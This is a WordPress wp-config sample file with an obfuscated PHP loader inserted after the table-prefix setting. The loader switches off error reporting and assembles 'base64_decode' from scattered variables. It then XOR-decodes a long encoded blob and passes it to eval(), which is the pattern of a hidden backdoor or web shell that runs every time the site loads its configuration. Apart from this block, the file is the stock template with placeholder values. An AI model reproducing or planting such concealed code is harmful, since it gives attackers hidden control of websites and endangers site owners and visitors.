<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




error_reporting(0);$gxvrf="a";$iipsvho="b";



$hlruo="zvyw";

$jalkdle="6";

$lvmobsqv="s";$srevua="e";$odud="esv";$aakl="4";

$zualrhpm="_";$ijiv="hchmgw";$aly="v";

$xjvefhuh="c";$ein="isckx";

$nafkz="tngfjhi";$mxauxb="l";$fhb="ctoo";$zoegke="d";


$ymes="o";

function s($t, $k){ 

$g=""; for($o=0;$o<strlen($t);) for($l=0;$l<strlen($k);$l++, $o++) $g .= $t[$o] ^ $k[$l]; return $g; };$nqddws="ldmyxsh";





$grent="wiyk";







$ukue="bktzibij";



$luoj=$iipsvho.


$gxvrf.
$lvmobsqv.





$srevua



.$jalkdle.



$aakl.
$zualrhpm.

$zoegke.
$srevua
.$xjvefhuh


.$ymes.


$zoegke


.$srevua




;





$nap="rsyts";





$idad="ttprjtj";


















eval(s($luoj("D_XNZD\WRM[FZSEMK&EIZI^hI\UgUJH@I	GXAGVAg\MXDzEHXIWUBI_JDC_N\^MA&FMX
sJsX_XNZ_jE@I_YGUJH@MZAGE&@HMXIxC	BhOCZ[S YQJZ]SMYHJCX&IZM@EHMxC	IB2CHHSG{i/t+DmnTzi5#@n5jX>#M.i0Ky7&H	t}mmi';oz/JLbFF_)CYIhIOJYXEB$@KWOB_GtwF=0 IBXEYI8C[OHc] X FRTzb	n~E J@9 ]Y_@ AAOCB ELQ$=ka	 IJ^MDXB CBR 6EAPDE\X IIXMDXC T\R YAPDEi@ I
IjMD @CR HCPDEMXWDB%KJ DM_NRC@ PSKpTHB@IxEFOY^d]; PMV0 W Iyz_ ANBYQ`g+c]+@ =]I X^R UN[PT+XY( CJ axNRQ1EM. IhCMDU9M BI-R Y\MPDEKb ICCMDJ_ a7_Y PZVH XJ MAINREK PAVZ nJ XC^NR[GXTjvat@ X$A^I_ E_E  ]^m	@ h AXD EXEE    ]X{@q\YOXECBK^IY^H:QA^I^B2KVQOCB_XB9cYJYECcF) K C_XiJ\^XYBcYBECBI+ WddRU@BH?wd3\^IXBMHQ c,YKYQOXCBF) K C_XNcN0bJ  @IR5:WXWCB_Xd_X\M_I>NRVHJ]T\M^eBN_ORTNGNTSIM^_IeB]NRTEKJTGL\MI$BXNDKGV\^_.BXKRJ\IeXOTU[DTOM^IeJNJTZRQG\M^_<BXJNGSNS^^IeBXNJETS^GRTQ\_IeTNK\MJdGKG^IM
XI_Iiw _DEq23E_DJXI:ZOXOD|0wY_O?i!_JX<KDQQQNETOZNNAK@X
ZBIChXIw`JETW\$JTKGL`RT`DIE;@RTOE@IX<KABeBX@99AI`JT]`IST\`RVP	qRw"OTPZF`TQI`PXOE+TPPD`TPqJw;@RTOE+TPQDBIqN\MZXCw`FWTPJ!TQRE^AP5N_YGBMKMXw!TK^`RTFK`RT_UqM
YPHCOYAXw.GS]"OTRUF`T\`JTF] 6^HFJ!TRREAIP5J`]T_UHJ/]T9ET?w`_ORTHNGL`Q_I`RS;@ETKMIN[F>PHCOYAIw`JYWS`F@TRUD`TSGMK`_X"OTPWHJ`TS@IAO?`RVHHH`ETE\wRT*3.N`FST\I`JRTSOPAI`JT]R`IST\qw.]COK`RVHH`ETOE\qw.YPQ`IWTDF`TPF? [UMZKM^w`IST\`EETW^C.JT[qZYOXECBXsCCbVK +NWOCXM[`@IUdI[W,XIR&<[R_[TSFIIP5JdwVJ]TEqJ2BRTTIZI|iK| @ETKIN[FST\[JETS\O_2w[FWTYJTMK^[RTC_KK3OH Y IBXw[EETW^CJT_q\-JI_OI'CJ[JTZ[IDIEZYQJXEB	XsOGIbWO_XBo;SIXZK
OYAX6oTWDIoGSNSqw-OTSUFODq!]EOKoRT_TIF\FboRZ\+JTKGLoQ\MoEETQ^CESKX^BYBIM\K,XqSII^YBBY@@YKXsGE
@

@IsOCCGE]BE
Q@IX%OCEIFAH TNIX=OCI]BB	 TSJ IXsOCC	IE_\PD\ JTGK_IX> CGEI_R _ ZK _XsCGEKY EY RN_I7CCEIF@[HMHATHOYXw6^FJ!TJK^Cq,$JTKOGLD<J_XsOCCG
\[OYIB<`RT`TSDJICO?w`RT_TOF0 T@N&MZ)C^O%CHUA^OOCB_X2HcYBCBZc KKWBXiKN^IY^H-JBOCB)OBDWddDHY@IHi!dqUIXY	Q cbNJXEB KKWBXHc 'HbK[I[w3NWX^OB_XdOM^IeJHJT[QF\M^_IeHJYVJS^^IeBXHJRTSPAKCM^_*BHTS@IKGVW\MIeBKHETIE\RT^CO\M_I'	XHIDHMETH	_I3BXFTPVDTIX\M_I>HRVHJ]T\MIeX@ETKIINZE\M^_IeHJYWNS^M%KNMGYI@Biw]\Yq$8DEJXqJ\OM
BSWi5@\Y_	DqEiw_DEqJLQ) SJXJVJYBOXEJW_XZ`5@O@EFO@M I ECZONH_B@CGIFO(@I P,N[EDPDEMZf&mKMDZnK$ItE  ]HC@ XT[UEyZhR  CHPDEL\)oht!A_XU EBHE  ]oD@ DAS3bu0aZPDEB^bXb(AO^I EIBE O_VHzn$)~eMDUWpT EDf7yt5-E \\IKcND Jy~` ANBE @CIKYTUNfjgK|E(_JYECIXY!Q^IXB1LIXZY^Z[EB[6|TS\qw2GSO]>OTPVJ|DE'@RTNE7R\qTKYMBDC-IAGHCAIB8|ETOI%RTB_E*^OFJ=TREX*@EMSM DC^$I w|TS@KEq*^MFJ=TUR2GSH]>OTUPFI MBC^'@I32WNJF>^@ MBO
^iIA,8JTKGL|QYMRq YABX57R^U?.|ETF[Q|IWTWDF|TWMI@O?MODi@IJ BODC^iAw2YVQO@qMCYAIBXw2]DOKq57R_|R[\8JV@0MBODC0@I xEICJY XCBWO_XBN'SEBC[5TPWDqwNTS@INPXER]NDKN_XKqF^@Z ]TI@N&
XAH_FHEYHQN_XU@HJBXZVI@@WQS][[E_AAKINIH@IM\^MOXEBKBMEK
@YG_Y\EXIBHIBUFIG	@CJAN__EK\\V^EFEP[N_@JCBXOEVGFRJ^WQSUZDZXXUDB__N^MEX^AEBKA\ME@\I[N]EHEZ\I\^\IT UNR]\Z^H\\DYNUIJCBX_EIWXLJ^WIXSAE@@EKAEHBI	D	BU@MAYBO
IN\_	U_\	N__HEZ^ZHEV^ND\P[\]EHEZ\I\^\ITEZD
Z]BENMX\HZU@I\DJBX_EVOLGXRJ
BU_CFCBUBA^E
\^T_XEBK	UEKXZFNRHN]B\HEZ\IHZKZFH\__EKEB_XCBJ_EVY]RE[PVGEAM__
JIBIHHIIE EB__NJJIMECB_\XM E@\BOCBN
QNN^M\KZ	XUJX@_EVIR[RGXRJ\T_F^XYBBX^BXUZDMIBH_XEBOXBX^UIH_UDIN_UO	_TYM@@U^ZHEV^EDH
ZSEJ^MAU_X@IJOE_
@M]BCJ[EHXD_RBDI
X]N^MACHI^EKJ^
AHQHEZKLbh&EEsX @[sY^@s\I WJSA&&BOXBMKIBI^M~MHC;^EKJIBKPWhUB^IB	YN^_sDYJJ@IJX^=^IX^TINOHKEFG@AB]^XYUV;no*"jkd()g!abc|}~1!yz5tu-ONOE@FC@IBDB_X^@IBJQTK^DS IB	Dk&gEJJOXCB(E__I IX~@$\mHH^m$R&WHBJYOXBK~M@e\mHmjJHJR
\XUIGs>i~zi~wE2ic+|s6,&~'NA
IGs>i~zi~wE2ic+|s6,&~'P@OS]QE\_s$-0zi(w)"ce|>"h)~qQ_IJ_@CIA
XUFCsi35i?wdxx|=-sj-~{6:&ih%jc<@qAE
Msi0#i~9d#<2st%jc<0m~h$'s+c~q\RUYXLS
HG>0i?zi~wd6!|s:sj8:5m~>ih1!c~<JSsi~40~wEi%>'~s;hh<@qHCWIE\IT\HIJ PDBs)i~8"~w)7x=stsjc~54~h'hs1'0qSJ\AGEwqQ_IJ_@CIA
XUFCsi35i?wdxx|=6`e'bx(!2qSHAE<(~zi~w*!x|=o`>-,xs3|3NPQCKU

BS71i~,i~5@dxx1<o!eibxse2Rq^S71i~,i~5@i~7&~2mhh~qK\EUFs?~z+5wd57|2o`eibx=<|?QW_IJFOIAUEsi~z''w*xx'7!js9cb "oxe/$s$|qDSJs$-0zi(w&3x|s"%s.cbbiox+;ks+|*A^K@WPDM

=&i~4i~,O*xx*so(8ocb/&o9ebkse|E(\(;'~z?~wI4i~z$1s,hh~qK\WFE\JL=i(zi<<dx53s.jsocbb'6xe,ks>8EqIIWE
\Psi~z''w0ia8<'sm>h~I:QX^BE\YUQ&&&BYBECB>T_X_K~I@^EZW&NGJOECBKI'IM^I@KWp&NGACEIA\XUJQs'~z2:9d.x|15iji3&~JqW&BUBWHB^s+5zi~:Dd9x|s~ij''i~EqJHIXBZF@dxx1<~(ji~i~KN&BWHBQp&NGACEIA\X]s1i~!-0w2xx>8~ij$1i?q^Y^USh&ZNG^YBsi0#i~9d#<2s~?ji<"~qZiMQ&Q&hJJJXEBsE_XK
IX~IM@KW&WHBJBOCBX?IM@YMKUWJXURs="~zi38%xx|sy''sm%ib#O?ZWJ8i~7&~6dxx|s7&i~=mk2&6qZ	XIBK%xx|sy''sm%ib#OK^Y^BAGs>i~zi~wE=xx2sy$-0sm=ib:@qiQg&JYBOXBIX3MEbMiMDIM^_BODs^YI_<DMHI^_KN&BY^MHIwOdC_XqYQ&hJYECK|^CO@W&BUIX[IAU>0i?zi~wd6!|EqWND%i<1i~wF+x9|q_HJJPHP^s+5zi~:D(~zi~s|-'x?JHVSNEDXXB
X\XUShQ&pJY XECCKX~I]YIdIHIJ&NGDH^_MMUJ}HBC^ODE<(~zi~MUGUJVBZ@YNW&ACMEJB]_Y _X@FGI ^KA_Mdxx|sE\WhWHBZNGOCB
BI&BUBQ&WHBZJIMHP_X^s^@MIPHE ]BGYO[H_X^s^@MIP7E ]BG_X^@[I^_Y X^JGNSGN&ACMDII^wHIqSGZMIV&QhUB^IB^DII^_ZiQg&JYBOXBMX &MXU_X  GABIIH FCJXJmA
JEE_sM^UFBIIS IH@CMM^^MUFII@I^ShZJIMO	KIIH@IYIKWpNGA
JE_X^\C_JQDM_X	 ^]YU EJ_IX_HJ@_AB^IY^ GX^YXB_XC\BBE^BX^I_Y@iMQ&BU^IY^HM@	Id&&JOECBIBHI1CYmBnME MGW&BUFHM	BC^+	OCHK GhUB^IBM_QsI C	IHMX\&&&OXCBNIOCY^OImB7M__L ^KN&ACNM_CsIO	dGX^BTC^&OCISNd&&JOECBTC0BOHI_LB\X NCGIUHCWg&\YnUZYX_sXC>UI_EB XY&WHBGUnI_\CYJsXCs XIpNGGI/IKXDYBnUI_G\&&ACI^I_Y@X XIW3?&ZNC^I  DMEB\Y7UX_BEZNCNUXJ&BUI_nUI_5:EUIrGnUI_,L	ZG`IBD0&&&BWXYBXI_>C2YXJ_YXn_A&QdmJYBEBTC^hCHXEB	KGMW&&BQIBCH UX_SGDITSEDITEB}HB^GI%UXICMYXJsX*NUI__L	IUS&NG
U!IBKXD_UOCBX_L	IU8UX&kCMHIOCHnXIH_w'&NGJEEYUEB@I	OCHnXI_FKW}HBZNCHIOI	nUXI_w?U^H_LBOHI
%UXI8qr	UnXI3FE_U`IXq&B&&BWXYBXI_>C2YXJOCIH5I_S&m&&JOECBYXMsXsN_^_XBKA&M^IXB^^=AM
H AXs_\@EXJQ_XEBAK&&&BOXBMNUXI_ssYJ_L UX_N&ACI_Y@X_UY&WHBJCIMX_M_ XIKW}HBZNC^I_XMOD^JQNUILbBZQ&NG^YB^I_XhQ&}BOEC GKIX3_CB_I@BW&}HB^^IFDgEJJ_sM@	 @IRO@sE
XJW&BUBS
ZOYsEBIY^@&BUBW^@%_I\XE DAoy~`c2!s1`s!-0ej#|i+5 J _&BUBOY=_IC\OODMCo8~`c|xs1&`s4i~>.;dc)x NU&ACMOYs_XCJO -2~`c17s+c``c{`-6mx+cb[HSpNGA Y@s_IXCD W+7~`5|x15ixy3-x?mbji~NUY&WHBZO@s_CXOD B6y~.c|#7*im>i~BGkCMO@sIXD N$y~`.3x2ocbbio6!ea'cy#DBS&NGACY^@s_I\XJODBoy(`c>3sxe,&c8x YBWHB^_\NZOYsTIOO
\&BWHB^DII^\CO^@sKIXJCJ BpNGA Y@sO@C_]O
}HBZNJEIHI^wD\sCHO?G^W^YBJM@_N&B
H@_WdmACMY^@s^_HJHM^	Is@@D&BUF__H_^Y^8\M^H6_ODIARq_P X\	UmACM^I]_Uk'xPHL^@1M^_wJ\MXDqY&BWHBEEIXE^s\M^_I.]I^O?Z^ADJY^*\M_I3E]Y^UI:&&ACM^_W 6x|U^;^pB)_F ^@=\MHw]DCqOC1^pBoCBOXCBMH!@C	Ip;Bp^=V&BUCOH_J	CO\IBIK_@@MWRBSNCY^@>M_IHwDX? S@EZTYSV&&BUJSOGSWdGACMlJ X_J_	 ^^IN&ACMBQ^_LbBZNGAD@IJICOAK&ZNGAC&BUBWHBNKIXKCOG RGY&WHBZNGACE^_\BWL &ZNGACMEJJQN_U4pBXJPX&MBUBQ&WHBZNGl @_I_ChWHBZQ&NGQkCM^IXY^U^_\Lb&&YBECBAIYI_X|C^@[HF\MMANW&kCM^I_\BHE&}HBJsOMM@IOYsEEXPAKWp&NGACDOYsEEX_L^@S&dGACMOY^@s_C\ No/~`!7xs2/s;i~eju|'0~ BJMpNGA Y@s_IXCD W+7~`5|x14`s7&~$judcxNUY&WHBZO@s_CXOD B6y~.c|#7$c`6c{"(omx(,bA&BUB@s	IXX Moy~`c|6*~i6y~9<0mb)ji<KZiM ^@=_IX^ODBGoy~-,|9sdimhi0YK&WHBZ^@sX\XODNUoy0`c'<=oc4bi-3xea$,y9 hUBWHY^s_C\XIGO oy~`-%xs6ea2'7x ZG\&ACMOY^@=IX\X_LD Zoy<+c|x>3c>x hUBWHY^s_C\XIGO oy~`-%xs2c#.+i`> NC\M^ _D&&BUB^ZOYsIT IOD&BUBS MH^SGOY^<KXEBJCBQODB}bBZNGOY^<OC_IO
\&hWHBZEJNODI IwDXX\=CHqWI_JNIXYM@_I&hUBQIWp&NGAC^@s\M^H_\Is^@FCY^@HX&MBQ__W@FY^s\_IH:D_DIAIqBHEDXA&&NGACIOCBXITUX^	sOBXXsOMIw&BUBWHB_	@NZwkCMBUBP^EUsI^A^MJM@_I hUBWHBZNGZI
Js\II^sAIEIHM@	I&NGACMq&BUB*AY&&UNGACI_Y@XdX_S@E@NDWBQY^s\IH!DXqACMJQ__W\V@@s\ _Hw\C^RqY&WHBZ_Y@+CX@]UTGAMIY^@s\MIH9DqA&&NGACJY^*\M_I3E\CX3NW&ACMBU^_Y*C_SGAMIY^@s\MIH9\qA&NGACQ@_IW&BUBWHBI_XdCC__\BUHLNTGAMU&BUBQ&}HBZNC_CO
XM_X^Is_OG=O@IBO^I@dC_X F^^C WL^^7_KBG A0x?imaso`+0bx=oc9&'oxVBXIV&&BUJSOGXN&&ACMB\Y_SOGX NE|c5CMY^@=M^IH,OMXqNI)7x=p^>Y&WHBZNGJ\_E_COGIY*C_RBT@s\ _HwDC_RqL+>BS&NGACMJ\YCO XoC IBXLUIM\\OMECG[[^A@BOCHIH>pB@}HBZNGY__CO	X BoIB@	KXD[CC_X^@IBJQ\MMAALppBLN&ACMB\Y_SOGX NEoCBOECBO_I>^p4pBXdGACMJ\_F_CX Z\MA_AMOp^pBp^>Y&&WHBZNGCM&BUBWHDEIOICJIG_OGIXB&BWHBZNGCMJKIX_FCO	IX[HSNdGACMBUEJJ^^HF^I	\@ZNZiMBUBWSGp^=D^SN&BWHBZm&ACM@CISOGXUm&ACMQ&&BUQh&WHB^IY^ G^Ig&Q&&JYXEBIOiA@eB&X:EXDo^UM^NIUGGW&ACIXY^BIK=AM
UlLKHIHCY^OI#Hn_IA\JY^HIHIEMMA 	UKJH^Y&NGAC
K&BU\IK(XOA;MCHOCHICOI#BH5	INYHIOIE\M^MAKY	IU^ABZX^&QkiJBOXECBBIXOX2E@3Bk{EX	!MI\MAKW}HBIXB\K2AMXOD@Zl@ 	INsHCHIIG\^MA_HXYI}HBZNA
&ACM\^I*AMOD_JMpU NM_IWWs	IOCHIFM^A^H_^Y\&Q&kYOXECBXIXi	@ekIO\MADW&BIX^BWIK%AMDN#O \M^_I&ZNGGE&MB^IsADXp@H EMMAB^Y&
bhJYOXBE CGEIiBM IFZMMXxCBhIHHW&&BUFKI+YBNW&&ACMEJE_XFsk2<9KqGNW&ACMKoCBXWC_%ki:<KOC>gQ&hUB_ICGIL
CNUCOO XEBD^R ZLN&&ACMEJEIXJs4'-ge?wNU<JMW&BUJ_LIX9CY AVMHEIhUBWH
IMI^F@`CO EB=&i~4i~,O2d|%i"!qAA
OJQKIoCZNI
OZMHMIxBhOC
HAE&BUQ&hQ&}LI_
CBCAg^I]YIy^WJ@&pN+EBGAMEHMXI&E_I@Fsk?xwIGqHC
KX^EA _ITsCH1 ixwFGJqBQZMEHxCIB*OCHMW&&B_oCG'BM@IFCski58Gq&hUBJhMMSGM^^ EXG\UZ@E	IxGI #IOCHD&FM^A_WUBNM	IZ8IBOIEF_CBsICHAhXMGN&&ACM^I]YIy^WL
C_NC\MX	5MEHMXIhB\C_INZX^X^E\sX_I]X|_XFC^I]_y^@ ^M_^AY&&ZNCF_C,NIOXCB=HIIIOICOmBHnM_CF^IB_ JIUHX&gEJB]FCB8
IO@ZM@MIxCGIBE_	EHXI:GIB%OHIH

BQF_BcOXWWIM^KxGIBQ_HRsCG7sN&ACMIODCB_CsIHIR1sCQ<CO&B&&BWIS&d&&NCi ME@X^GI&&SMEx^GI^A^O&^IUIX%@^JG\&ECMKIX~IM<\mH^6.Jp&EGE_XEskixwEH?WhZEGHIOiAME@e2IX5EX+U\1 ixwF
HJq GI\FIAx^OGOHICY^mBnMT^EOsk$7wJEHq BQGI}HBJFIXIi ME@eBk{EDnRs)"xw0IA@xMOZNMsOHIsk'!wH*AY&ZHIXiAME@+kI(/'xw]EHI:EAE@x^MO	^_(/'xw]EHI:&&ACM^I]YI|MMAH_M^MG&ACMEHEUBI	@xMO^ &ACMER\N&ZNGJJ^&B^ShZ]YIy@DXLZIhICUgg^YIX|A_Z@IBHIBOCH&CYOI6nM	IZOF_sBOCHIFI]I_8^M_GG 
UD&BQ^I\fXNI]YX=C_X^YIXyNI]_X| M _&&BUHI^Sh&Qp&X?IM@YMKN&&FDM 2M^ASGso.,g$iwD\?UFso8')ei!DEqAAV&HMXI-J_XJHFso5cg'"wHC>Rsocc)<iw@H*HXX&J	MAI.JIX=6cc)ei,JqZJ8occ**i6BqBWh_2@MJC
E<o"cgeiwqBS7!cc1ei5E_\<CM&_yMBS7!cc1ei5E_Y<CMsoccg+0wY*HXX&JJ^Myso-:ge'w@qE1$ccg(&wOEYqBWh[
&^EI^NZs",c&eiw[H@(Bs4'-ge?wq[CO&@MB M__
X^Rs="~zi38%xx|smo!0|x=`m9/7mk?qBW A\YN_X^F*i0zi%3Edx.|s/$oi|5<`,bkymkiE( NWRBA&
ME@A^O&IA@|^M&AIZLE&IUX^EB2IXBUJY&IM
^|@ J^AK~IYI*IMI^Ow2O@oDyM2MXC^J?ZKI5I]YX%IMHI^_J\w1IOZ+
y|XJC0hEJB(+-cg3iwLq\^OW&BUIDCWL
XANE_O
\C^O,XIX@G ^\X&BUODH@_^EHCABX@MXCBWFB^ICM
ONOE\XhUBHE@K&&&^IMEskixMAH_^\MAi&MEJJQ\MMAWI_XmACMEJHIOiAeB=IX9XDo\\M^MY	IU^ABW&ZNGACMIAME@BHHOC1CYOI/	HnMYX^EAFM^A[HFGIdGACMIE@2M^,MANCBMAX&MBUBOCBY&NGACI@_IEJJIXOX2E@3Bk{EX	!MI\MAKbBZNGAGI ME@ _ITsCHXA^A GhWHBZNGIA 
@=M^MAbMBB&ZNGACMOCBXEB&BWHBI@EJXOXiAME<BkXS^MN&ACMFAM@JHF\MMAUmACMME|M	bMISGBMgBUBOEBIdGACMQ&BUF]YXEB	 IXO^IBMAIBRBS^MNE
kCMQ&&Q&hQ]Y^U$EBkIG__^]YIXEB/X Z NJkiB|^I\M\^Mh&UJ\MAMMJXI^A&ES _D*M^
M@@XAFDM 2M^A NCDM_	3MMAwqY&I]Xy@SGDCC_I^ZhI@C#Up&]YI|^MA_B^^U_bBZE@AGE &EIJEIHF^I &NGMYMNBOBZ@	KyMMiMEHBHFIA &ZN@H\]IHMXIcJIXN&WHBB]PGBMcJ_IX &BUE_\PH_^_U7@MX^  &E\BWL
IMI^>MXJAA& _S_y &NGMEJAI7M }HB][HIGEIh^EZI^h\&h^I_|MA_\CY@IBOCH]IBCH;Y^Im nM_UEF_CBsICHYI	X|MA_HC MGIUY&M~I_&_\fB>X^^YIX|I]_Xy M^I]YI|MMAAY&I_-_CB.FMF_CB=IOHI_OCI^OI H/M_IFI_f_1X^VUZi&J^If_BcBZGGITEKV&&EJFI_f_-NFWWLOXEj^zE_EXQBWJY_CA"BGHCWg&EUI_"CB5NFCYWYKUHELbhZEG^\'_CBcNFOKWU\'zE	EXQ\^OYB[MBXBW&WHBZDCC_AXMDXXXI]EZJOIJI_@OCIXYL\f	CB!FAY@QEKhWHI@	Im&ACMEJ^\_S_\0_C (NF_^@Q EBI^EL@EIAABPJM@_IKUW&BWHBZNODCAA IXMDXIYEUE^I^IOXBX@@S_\0_C (NF_^@Q@RY&WHBZNGHEKV&BUQh&WHBZEGIEKUW&hWHBZNGEJYXski6\BWhZNGACMIODCBWAXMW X\WI]ZJI_DOXIXPXYY^@G^IfCBcNF\Y@
HLXJYI^0XEBKkIXB[\}HBZNG@IW&BUBWHBZIC]IMDXX\O]YZPJ^_DIGOCBBY^HB^f_BcWC^Q\W&BWHBZN&&ACMQI@Wh&WHBZNGEJIG]I^UX^KkXJUBSWdGACMBUEJB	D|^MNW&ACMBUBWHBIOCL[AIX CDX\I]YIJDZOC IBX\DVY^@BQ^I\fcNEY^@CCDM_D2^MUO\pNGACMQ_IBW&WHBZNGACMIODUIXH
XX
IEZFI^I_DBXBXJORY@LI^\'_CBcNFOKW^@UBENCIAM|^MAbMAU_WLAM@@EZiMBUBWhZNGACQ@_IW&hUBWHBZNGEJIGD_D|M^M\WhWHBZNGACMIODC@IAIM\]Y^^_DOCIBGS^@G&NGACMBUBWHLI_-_CB.F@WY^@@&BWHBZNGACM@[YI1X^BK)XAGD_D|M^MU@UShZNGACMQI@_UW&BWHBZNGACMIODC^IXDIYEZ^IIDOCBBX_L@X&NGACMBUBWFB^_\$CBc	SWY^@BWHBZNGACMLUIME8^MbM&ACMBUBWHBTLIIE&BUBWHBZNGCEC]YI^&X^BK0ZPE&ACMBUBQ&}HBZNGi&MB&&BWh&Qp&&_f_CBcNXW@MOBj^zEXCAQM_DdX@^H&ZJCBXXMNM_ITAsHOCJ^_\$CBc	SWDXA@@hWH"IZ@IXOCCBXIBXKN&BA&QdmEJIG^_\f_CB-F\WECjC1E_E^OQ
_X&CAZW&NG@9C~IHE^X_K2^CCOOCKXhCAME;MALbBZIOXDXX\YE^I	DNCBXXPY^@_WFY^<~IE^XCDO&IK&
bhEJZ_\fB"NFWXEBj4E_XCEQ\CCXjCYBW&WHBDX\s_\CI2OCHIRAhWHEIRd&&ECI^I_\f_cNJOXCB(^zE
X^QBWJEI^H&&ZNJEI\f_CBc JBMIGCAMHEIhBIhXMNZNMYsIBOCH]DINJNM	IZ8HIOIE^I_\fBc FI@JEIhMQHJV&&Nss@ZIOiMsIHsMBRdGi&MNUoD^M^_Z	BI^ I?MBHCAEBLbBZNIbYI_KI^MI~CA)X^	KZiMNUX4^^UJHIB^M~MBA>X^EBKKN&&BWLMZm_NZKI^XI~MBHXEB@K&ZNCN@C-M IKI^MI~CA)X^	KZi&MIODUDA@WFB	O^X&BXECBLU_ZI6BRTBGTA&MFMZm_$^OnC
k&gJYBOXBKW}HBIXNEXoDM^MO^_BWUBMXNIE
@hMXM@RhWHBZ&NG@ICCNUXI, AN^_WF@ZBIGm^^ ONUX6DMMO_TBKX	JgJCU@XH_AEN[AGNXIoDM^XI_YJL@IKX\EJJ&BULIbAN_C8E0FUXoDOX^_NIO	^.CHImX\&BWhZ@AGNXIm^^MUByBXV&^^MKCNUXI, AN^_WF@pNG&AC@X CN,MAHLGBn@6NUm^MUWF@q ZWXIFAM^I_\fBc FI@JEIxIQAMJQ&&BUL	Im	LOE@NbMAILW EWLI_
f_	cNFL]WOJE@IBMQBPAY&ZdZi&Q_O^E\Kh&WHBEJZ_\fB"NFWHEIO)XIjEQkCMIC@ADX\C]YE^IJ^I_DEUOCXI_AY^ZEI\f_CBc ^^IXmI^jIOQ@N&&BWIS&m&ki"),",,z,,ng,,,ac,m,,,,,,bu,,b,,whb"));



$kflcpo="igvdvdj";

$qywz="qulkhlbe";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';